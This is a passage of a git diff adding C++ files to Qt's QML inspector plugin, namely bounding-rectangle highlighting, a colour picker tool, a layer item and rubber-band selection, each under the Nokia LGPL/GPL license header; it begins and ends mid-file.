+ static QDeclarativeItem *toQDeclarativeItem(QGraphicsItem *item);
+
+protected:
+ virtual void selectedItemsChanged(const QList<QGraphicsItem*> &objectList) = 0;
+
+ QDeclarativeViewInspector *inspector() const;
+ QDeclarativeView *view() const;
+ QGraphicsScene *scene() const;
+
+private:
+ QList<QGraphicsItem*> m_itemList;
+};
+
+}
+
+#endif // ABSTRACTLIVEEDITTOOL_H
diff --git a/src/plugins/qmltooling/qmldbg_inspector/editor/boundingrecthighlighter.cpp b/src/plugins/qmltooling/qmldbg_inspector/editor/boundingrecthighlighter.cpp
new file mode 100644
index 00000000..f6305698
--- /dev/null
+++ b/src/plugins/qmltooling/qmldbg_inspector/editor/boundingrecthighlighter.cpp
@@ -0,0 +1,240 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "boundingrecthighlighter.h"
+
+#include "../qdeclarativeviewinspector.h"
+#include "../qmlinspectorconstants.h"
+
+#include <QtGui/QGraphicsPolygonItem>
+
+#include <QtCore/QTimer>
+#include <QtCore/QObject>
+#include <QtCore/QDebug>
+
+namespace QmlJSDebugger {
+
+BoundingBox::BoundingBox(QGraphicsObject *itemToHighlight, QGraphicsItem *parentItem,
+ QObject *parent)
+ : QObject(parent),
+ highlightedObject(itemToHighlight),
+ highlightPolygon(0),
+ highlightPolygonEdge(0)
+{
+ highlightPolygon = new BoundingBoxPolygonItem(parentItem);
+ highlightPolygonEdge = new BoundingBoxPolygonItem(parentItem);
+
+ highlightPolygon->setPen(QPen(QColor(0, 22, 159)));
+ highlightPolygonEdge->setPen(QPen(QColor(158, 199, 255)));
+
+ highlightPolygon->setFlag(QGraphicsItem::ItemIsSelectable, false);
+ highlightPolygonEdge->setFlag(QGraphicsItem::ItemIsSelectable, false);
+}
+
+BoundingBox::~BoundingBox()
+{
+ highlightedObject.clear();
+}
+
+BoundingBoxPolygonItem::BoundingBoxPolygonItem(QGraphicsItem *item) : QGraphicsPolygonItem(item)
+{
+ QPen pen;
+ pen.setColor(QColor(108, 141, 221));
+ pen.setWidth(1);
+ setPen(pen);
+}
+
+int BoundingBoxPolygonItem::type() const
+{
+ return Constants::EditorItemType;
+}
+
+BoundingRectHighlighter::BoundingRectHighlighter(QDeclarativeViewInspector *view) :
+ LiveLayerItem(view->declarativeView()->scene()),
+ m_view(view)
+{
+}
+
+BoundingRectHighlighter::~BoundingRectHighlighter()
+{
+
+}
+
+void BoundingRectHighlighter::clear()
+{
+ foreach (BoundingBox *box, m_boxes)
+ freeBoundingBox(box);
+}
+
+BoundingBox *BoundingRectHighlighter::boxFor(QGraphicsObject *item) const
+{
+ foreach (BoundingBox *box, m_boxes) {
+ if (box->highlightedObject.data() == item)
+ return box;
+ }
+ return 0;
+}
+
+void BoundingRectHighlighter::highlight(QList<QGraphicsObject*> items)
+{
+ if (items.isEmpty())
+ return;
+
+ QList<BoundingBox *> newBoxes;
+ foreach (QGraphicsObject *itemToHighlight, items) {
+ BoundingBox *box = boxFor(itemToHighlight);
+ if (!box)
+ box = createBoundingBox(itemToHighlight);
+
+ newBoxes << box;
+ }
+ qSort(newBoxes);
+
+ if (newBoxes != m_boxes) {
+ clear();
+ m_boxes << newBoxes;
+ }
+
+ highlightAll();
+}
+
+void BoundingRectHighlighter::highlight(QGraphicsObject* itemToHighlight)
+{
+ if (!itemToHighlight)
+ return;
+
+ BoundingBox *box = boxFor(itemToHighlight);
+ if (!box) {
+ box = createBoundingBox(itemToHighlight);
+ m_boxes << box;
+ qSort(m_boxes);
+ }
+
+ highlightAll();
+}
+
+BoundingBox *BoundingRectHighlighter::createBoundingBox(QGraphicsObject *itemToHighlight)
+{
+ if (!m_freeBoxes.isEmpty()) {
+ BoundingBox *box = m_freeBoxes.last();
+ if (box->highlightedObject.isNull()) {
+ box->highlightedObject = itemToHighlight;
+ box->highlightPolygon->show();
+ box->highlightPolygonEdge->show();
+ m_freeBoxes.removeLast();
+ return box;
+ }
+ }
+
+ BoundingBox *box = new BoundingBox(itemToHighlight, this, this);
+
+ connect(itemToHighlight, SIGNAL(xChanged()), this, SLOT(refresh()));
+ connect(itemToHighlight, SIGNAL(yChanged()), this, SLOT(refresh()));
+ connect(itemToHighlight, SIGNAL(widthChanged()), this, SLOT(refresh()));
+ connect(itemToHighlight, SIGNAL(heightChanged()), this, SLOT(refresh()));
+ connect(itemToHighlight, SIGNAL(rotationChanged()), this, SLOT(refresh()));
+ connect(itemToHighlight, SIGNAL(destroyed(QObject*)), this, SLOT(itemDestroyed(QObject*)));
+
+ return box;
+}
+
+void BoundingRectHighlighter::removeBoundingBox(BoundingBox *box)
+{
+ delete box;
+ box = 0;
+}
+
+void BoundingRectHighlighter::freeBoundingBox(BoundingBox *box)
+{
+ if (!box->highlightedObject.isNull()) {
+ disconnect(box->highlightedObject.data(), SIGNAL(xChanged()), this, SLOT(refresh()));
+ disconnect(box->highlightedObject.data(), SIGNAL(yChanged()), this, SLOT(refresh()));
+ disconnect(box->highlightedObject.data(), SIGNAL(widthChanged()), this, SLOT(refresh()));
+ disconnect(box->highlightedObject.data(), SIGNAL(heightChanged()), this, SLOT(refresh()));
+ disconnect(box->highlightedObject.data(), SIGNAL(rotationChanged()), this, SLOT(refresh()));
+ }
+
+ box->highlightedObject.clear();
+ box->highlightPolygon->hide();
+ box->highlightPolygonEdge->hide();
+ m_boxes.removeOne(box);
+ m_freeBoxes << box;
+}
+
+void BoundingRectHighlighter::itemDestroyed(QObject *obj)
+{
+ foreach (BoundingBox *box, m_boxes) {
+ if (box->highlightedObject.data() == obj) {
+ freeBoundingBox(box);
+ break;
+ }
+ }
+}
+
+void BoundingRectHighlighter::highlightAll()
+{
+ foreach (BoundingBox *box, m_boxes) {
+ if (box && box->highlightedObject.isNull()) {
+ // clear all highlights
+ clear();
+ return;
+ }
+ QGraphicsObject *item = box->highlightedObject.data();
+
+ QRectF boundingRectInSceneSpace(item->mapToScene(item->boundingRect()).boundingRect());
+ QRectF boundingRectInLayerItemSpace = mapRectFromScene(boundingRectInSceneSpace);
+ QRectF bboxRect = m_view->adjustToScreenBoundaries(boundingRectInLayerItemSpace);
+ QRectF edgeRect = bboxRect;
+ edgeRect.adjust(-1, -1, 1, 1);
+
+ box->highlightPolygon->setPolygon(QPolygonF(bboxRect));
+ box->highlightPolygonEdge->setPolygon(QPolygonF(edgeRect));
+ }
+}
+
+void BoundingRectHighlighter::refresh()
+{
+ if (!m_boxes.isEmpty())
+ highlightAll();
+}
+
+
+} // namespace QmlJSDebugger
diff --git a/src/plugins/qmltooling/qmldbg_inspector/editor/boundingrecthighlighter.h b/src/plugins/qmltooling/qmldbg_inspector/editor/boundingrecthighlighter.h
new file mode 100644
index 00000000..aef4e4ee
--- /dev/null
+++ b/src/plugins/qmltooling/qmldbg_inspector/editor/boundingrecthighlighter.h
@@ -0,0 +1,115 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef BOUNDINGRECTHIGHLIGHTER_H
+#define BOUNDINGRECTHIGHLIGHTER_H
+
+#include "livelayeritem.h"
+
+#include <QtCore/QObject>
+#include <QtCore/QWeakPointer>
+
+QT_FORWARD_DECLARE_CLASS(QGraphicsItem)
+QT_FORWARD_DECLARE_CLASS(QPainter)
+QT_FORWARD_DECLARE_CLASS(QWidget)
+QT_FORWARD_DECLARE_CLASS(QStyleOptionGraphicsItem)
+QT_FORWARD_DECLARE_CLASS(QTimer)
+
+namespace QmlJSDebugger {
+
+class QDeclarativeViewInspector;
+class BoundingBox;
+
+class BoundingRectHighlighter : public LiveLayerItem
+{
+ Q_OBJECT
+public:
+ explicit BoundingRectHighlighter(QDeclarativeViewInspector *view);
+ ~BoundingRectHighlighter();
+ void clear();
+ void highlight(QList<QGraphicsObject*> items);
+ void highlight(QGraphicsObject* item);
+
+private slots:
+ void refresh();
+ void itemDestroyed(QObject *);
+
+private:
+ BoundingBox *boxFor(QGraphicsObject *item) const;
+ void highlightAll();
+ BoundingBox *createBoundingBox(QGraphicsObject *itemToHighlight);
+ void removeBoundingBox(BoundingBox *box);
+ void freeBoundingBox(BoundingBox *box);
+
+private:
+ Q_DISABLE_COPY(BoundingRectHighlighter)
+
+ QDeclarativeViewInspector *m_view;
+ QList<BoundingBox* > m_boxes;
+ QList<BoundingBox* > m_freeBoxes;
+};
+
+class BoundingBox : public QObject
+{
+ Q_OBJECT
+public:
+ explicit BoundingBox(QGraphicsObject *itemToHighlight, QGraphicsItem *parentItem,
+ QObject *parent = 0);
+ ~BoundingBox();
+ QWeakPointer<QGraphicsObject> highlightedObject;
+ QGraphicsPolygonItem *highlightPolygon;
+ QGraphicsPolygonItem *highlightPolygonEdge;
+
+private:
+ Q_DISABLE_COPY(BoundingBox)
+
+};
+
+class BoundingBoxPolygonItem : public QGraphicsPolygonItem
+{
+public:
+ explicit BoundingBoxPolygonItem(QGraphicsItem *item);
+ int type() const;
+};
+
+} // namespace QmlJSDebugger
+
+#endif // BOUNDINGRECTHIGHLIGHTER_H
diff --git a/src/plugins/qmltooling/qmldbg_inspector/editor/colorpickertool.cpp b/src/plugins/qmltooling/qmldbg_inspector/editor/colorpickertool.cpp
new file mode 100644
index 00000000..9fe40fbf
--- /dev/null
+++ b/src/plugins/qmltooling/qmldbg_inspector/editor/colorpickertool.cpp
@@ -0,0 +1,100 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "colorpickertool.h"
+
+#include "../qdeclarativeviewinspector.h"
+
+#include <QtGui/QMouseEvent>
+#include <QtGui/QKeyEvent>
+#include <QtCore/QRectF>
+#include <QtGui/QRgb>
+#include <QtGui/QImage>
+#include <QtGui/QApplication>
+#include <QtGui/QPalette>
+
+namespace QmlJSDebugger {
+
+ColorPickerTool::ColorPickerTool(QDeclarativeViewInspector *view) :
+ AbstractLiveEditTool(view)
+{
+ m_selectedColor.setRgb(0,0,0);
+}
+
+ColorPickerTool::~ColorPickerTool()
+{
+}
+
+void ColorPickerTool::mousePressEvent(QMouseEvent *event)
+{
+ pickColor(event->pos());
+}
+
+void ColorPickerTool::mouseMoveEvent(QMouseEvent *event)
+{
+ pickColor(event->pos());
+}
+
+void ColorPickerTool::clear()
+{
+#ifndef QT_NO_CURSOR
+ view()->setCursor(Qt::CrossCursor);
+#endif
+}
+
+void ColorPickerTool::pickColor(const QPoint &pos)
+{
+ QRgb fillColor = view()->backgroundBrush().color().rgb();
+ if (view()->backgroundBrush().style() == Qt::NoBrush)
+ fillColor = view()->palette().color(QPalette::Base).rgb();
+
+ QRectF target(0,0, 1, 1);
+ QRect source(pos.x(), pos.y(), 1, 1);
+ QImage img(1, 1, QImage::Format_ARGB32);
+ img.fill(fillColor);
+ QPainter painter(&img);
+ view()->render(&painter, target, source);
+ m_selectedColor = QColor::fromRgb(img.pixel(0, 0));
+
+ emit selectedColorChanged(m_selectedColor);
+}
+
+} // namespace QmlJSDebugger
diff --git a/src/plugins/qmltooling/qmldbg_inspector/editor/colorpickertool.h b/src/plugins/qmltooling/qmldbg_inspector/editor/colorpickertool.h
new file mode 100644
index 00000000..dda147bc
--- /dev/null
+++ b/src/plugins/qmltooling/qmldbg_inspector/editor/colorpickertool.h
@@ -0,0 +1,92 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef COLORPICKERTOOL_H
+#define COLORPICKERTOOL_H
+
+#include "abstractliveedittool.h"
+
+#include <QtGui/QColor>
+
+QT_FORWARD_DECLARE_CLASS(QPoint)
+
+namespace QmlJSDebugger {
+
+class ColorPickerTool : public AbstractLiveEditTool
+{
+ Q_OBJECT
+public:
+ explicit ColorPickerTool(QDeclarativeViewInspector *view);
+
+ virtual ~ColorPickerTool();
+
+ void mousePressEvent(QMouseEvent *event);
+ void mouseMoveEvent(QMouseEvent *event);
+ void mouseReleaseEvent(QMouseEvent *) {}
+ void mouseDoubleClickEvent(QMouseEvent *) {}
+
+ void hoverMoveEvent(QMouseEvent *) {}
+
+ void keyPressEvent(QKeyEvent *) {}
+ void keyReleaseEvent(QKeyEvent *) {}
+
+ void wheelEvent(QWheelEvent *) {}
+
+ void itemsAboutToRemoved(const QList<QGraphicsItem*> &) {}
+
+ void clear();
+
+signals:
+ void selectedColorChanged(const QColor &color);
+
+protected:
+ void selectedItemsChanged(const QList<QGraphicsItem*> &) {}
+
+private:
+ void pickColor(const QPoint &pos);
+
+private:
+ QColor m_selectedColor;
+};
+
+} // namespace QmlJSDebugger
+
+#endif // COLORPICKERTOOL_H
diff --git a/src/plugins/qmltooling/qmldbg_inspector/editor/livelayeritem.cpp b/src/plugins/qmltooling/qmldbg_inspector/editor/livelayeritem.cpp
new file mode 100644
index 00000000..fd52b0eb
--- /dev/null
+++ b/src/plugins/qmltooling/qmldbg_inspector/editor/livelayeritem.cpp
@@ -0,0 +1,92 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "livelayeritem.h"
+
+#include "../qmlinspectorconstants.h"
+
+#include <QGraphicsScene>
+
+namespace QmlJSDebugger {
+
+LiveLayerItem::LiveLayerItem(QGraphicsScene* scene)
+ : QGraphicsObject()
+{
+ scene->addItem(this);
+ setZValue(1);
+ setFlag(QGraphicsItem::ItemIsMovable, false);
+}
+
+LiveLayerItem::~LiveLayerItem()
+{
+}
+
+void LiveLayerItem::paint(QPainter * /*painter*/, const QStyleOptionGraphicsItem * /*option*/,
+ QWidget * /*widget*/)
+{
+}
+
+int LiveLayerItem::type() const
+{
+ return Constants::EditorItemType;
+}
+
+QRectF LiveLayerItem::boundingRect() const
+{
+ return childrenBoundingRect();
+}
+
+QList<QGraphicsItem*> LiveLayerItem::findAllChildItems() const
+{
+ return findAllChildItems(this);
+}
+
+QList<QGraphicsItem*> LiveLayerItem::findAllChildItems(const QGraphicsItem *item) const
+{
+ QList<QGraphicsItem*> itemList(item->childItems());
+
+ foreach (QGraphicsItem *childItem, item->childItems())
+ itemList += findAllChildItems(childItem);
+
+ return itemList;
+}
+
+} // namespace QmlJSDebugger
diff --git a/src/plugins/qmltooling/qmldbg_inspector/editor/livelayeritem.h b/src/plugins/qmltooling/qmldbg_inspector/editor/livelayeritem.h
new file mode 100644
index 00000000..bfff002e
--- /dev/null
+++ b/src/plugins/qmltooling/qmldbg_inspector/editor/livelayeritem.h
@@ -0,0 +1,67 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef LIVELAYERITEM_H
+#define LIVELAYERITEM_H
+
+#include <QtGui/QGraphicsObject>
+
+namespace QmlJSDebugger {
+
+class LiveLayerItem : public QGraphicsObject
+{
+public:
+ LiveLayerItem(QGraphicsScene *scene);
+ ~LiveLayerItem();
+ void paint(QPainter *painter, const QStyleOptionGraphicsItem *option,
+ QWidget *widget = 0);
+ QRectF boundingRect() const;
+ int type() const;
+
+ QList<QGraphicsItem*> findAllChildItems() const;
+
+protected:
+ QList<QGraphicsItem*> findAllChildItems(const QGraphicsItem *item) const;
+};
+
+}
+
+#endif // LIVELAYERITEM_H
diff --git a/src/plugins/qmltooling/qmldbg_inspector/editor/liverubberbandselectionmanipulator.cpp b/src/plugins/qmltooling/qmldbg_inspector/editor/liverubberbandselectionmanipulator.cpp
new file mode 100644
index 00000000..7c04f62c
--- /dev/null
+++ b/src/plugins/qmltooling/qmldbg_inspector/editor/liverubberbandselectionmanipulator.cpp
@@ -0,0 +1,165 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "liverubberbandselectionmanipulator.h"
+
+#include "../qdeclarativeviewinspector_p.h"
+
+#include <QtGui/QGraphicsItem>
+
+#include <QtCore/QDebug>
+
+namespace QmlJSDebugger {
+
+LiveRubberBandSelectionManipulator::LiveRubberBandSelectionManipulator(QGraphicsObject *layerItem,
+ QDeclarativeViewInspector *editorView)
+ : m_selectionRectangleElement(layerItem),
+ m_editorView(editorView),
+ m_beginFormEditorItem(0),
+ m_isActive(false)
+{
+ m_selectionRectangleElement.hide();
+}
+
+void LiveRubberBandSelectionManipulator::clear()
+{
+ m_selectionRectangleElement.clear();
+ m_isActive = false;
+ m_beginPoint = QPointF();
+ m_itemList.clear();
+ m_oldSelectionList.clear();
+}
+
+QGraphicsItem *LiveRubberBandSelectionManipulator::topFormEditorItem(const QList<QGraphicsItem*>
+ &itemList)
+{
+ if (itemList.isEmpty())
+ return 0;
+
+ return itemList.first();
+}
+
+void LiveRubberBandSelectionManipulator::begin(const QPointF &beginPoint)
+{
+ m_beginPoint = beginPoint;
+ m_selectionRectangleElement.setRect(m_beginPoint, m_beginPoint);
+ m_selectionRectangleElement.show();
+ m_isActive = true;
+ QDeclarativeViewInspectorPrivate *inspectorPrivate
+ = QDeclarativeViewInspectorPrivate::get(m_editorView);
+ m_beginFormEditorItem = topFormEditorItem(inspectorPrivate->selectableItems(beginPoint));
+ m_oldSelectionList = m_editorView->selectedItems();
+}
+
+void LiveRubberBandSelectionManipulator::update(const QPointF &updatePoint)
+{
+ m_selectionRectangleElement.setRect(m_beginPoint, updatePoint);
+}
+
+void LiveRubberBandSelectionManipulator::end()
+{
+ m_oldSelectionList.clear();
+ m_selectionRectangleElement.hide();
+ m_isActive = false;
+}
+
+void LiveRubberBandSelectionManipulator::select(SelectionType selectionType)
+{
+ QDeclarativeViewInspectorPrivate *inspectorPrivate
+ = QDeclarativeViewInspectorPrivate::get(m_editorView);
+ QList<QGraphicsItem*> itemList
+ = inspectorPrivate->selectableItems(m_selectionRectangleElement.rect(),
+ Qt::IntersectsItemShape);
+ QList<QGraphicsItem*> newSelectionList;
+
+ foreach (QGraphicsItem* item, itemList) {
+ if (item
+ && item->parentItem()
+ && !newSelectionList.contains(item)
+ //&& m_beginFormEditorItem->childItems().contains(item) // TODO activate this test
+ )
+ {
+ newSelectionList.append(item);
+ }
+ }
+
+ if (newSelectionList.isEmpty() && m_beginFormEditorItem)
+ newSelectionList.append(m_beginFormEditorItem);
+
+ QList<QGraphicsItem*> resultList;
+
+ switch (selectionType) {
+ case AddToSelection: {
+ resultList.append(m_oldSelectionList);
+ resultList.append(newSelectionList);
+ }
+ break;
+ case ReplaceSelection: {
+ resultList.append(newSelectionList);
+ }
+ break;
+ case RemoveFromSelection: {
+ QSet<QGraphicsItem*> oldSelectionSet(m_oldSelectionList.toSet());
+ QSet<QGraphicsItem*> newSelectionSet(newSelectionList.toSet());
+ resultList.append(oldSelectionSet.subtract(newSelectionSet).toList());
+ }
+ }
+
+ m_editorView->setSelectedItems(resultList);
+}
+
+
+void LiveRubberBandSelectionManipulator::setItems(const QList<QGraphicsItem*> &itemList)
+{
+ m_itemList = itemList;
+}
+
+QPointF LiveRubberBandSelectionManipulator::beginPoint() const
+{
+ return m_beginPoint;
+}
+
+bool LiveRubberBandSelectionManipulator::isActive() const
+{
+ return m_isActive;
+}
+
+} // namespace QmlJSDebugger
diff --git a/src/plugins/qmltooling/qmldbg_inspector/editor/liverubberbandselectionmanipulator.h b/src/plugins/qmltooling/qmldbg_inspector/editor/liverubberbandselectionmanipulator.h
new file mode 100644
index 00000000..c1609ea3
--- /dev/null
+++ b/src/plugins/qmltooling/qmldbg_inspector/editor/liverubberbandselectionmanipulator.h
@@ -0,0 +1,96 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef RUBBERBANDSELECTIONMANIPULATOR_H
+#define RUBBERBANDSELECTIONMANIPULATOR_H
+
+#include "liveselectionrectangle.h"
+
+#include <QtCore/QPointF>
+
+QT_FORWARD_DECLARE_CLASS(QGraphicsItem)
+
+namespace QmlJSDebugger {
+
+class QDeclarativeViewInspector;
+
+class LiveRubberBandSelectionManipulator
+{
+public:
+ enum SelectionType {
+ ReplaceSelection,
+ AddToSelection,
+ RemoveFromSelection
+ };
+
+ LiveRubberBandSelectionManipulator(QGraphicsObject *layerItem,
+ QDeclarativeViewInspector *editorView);
+
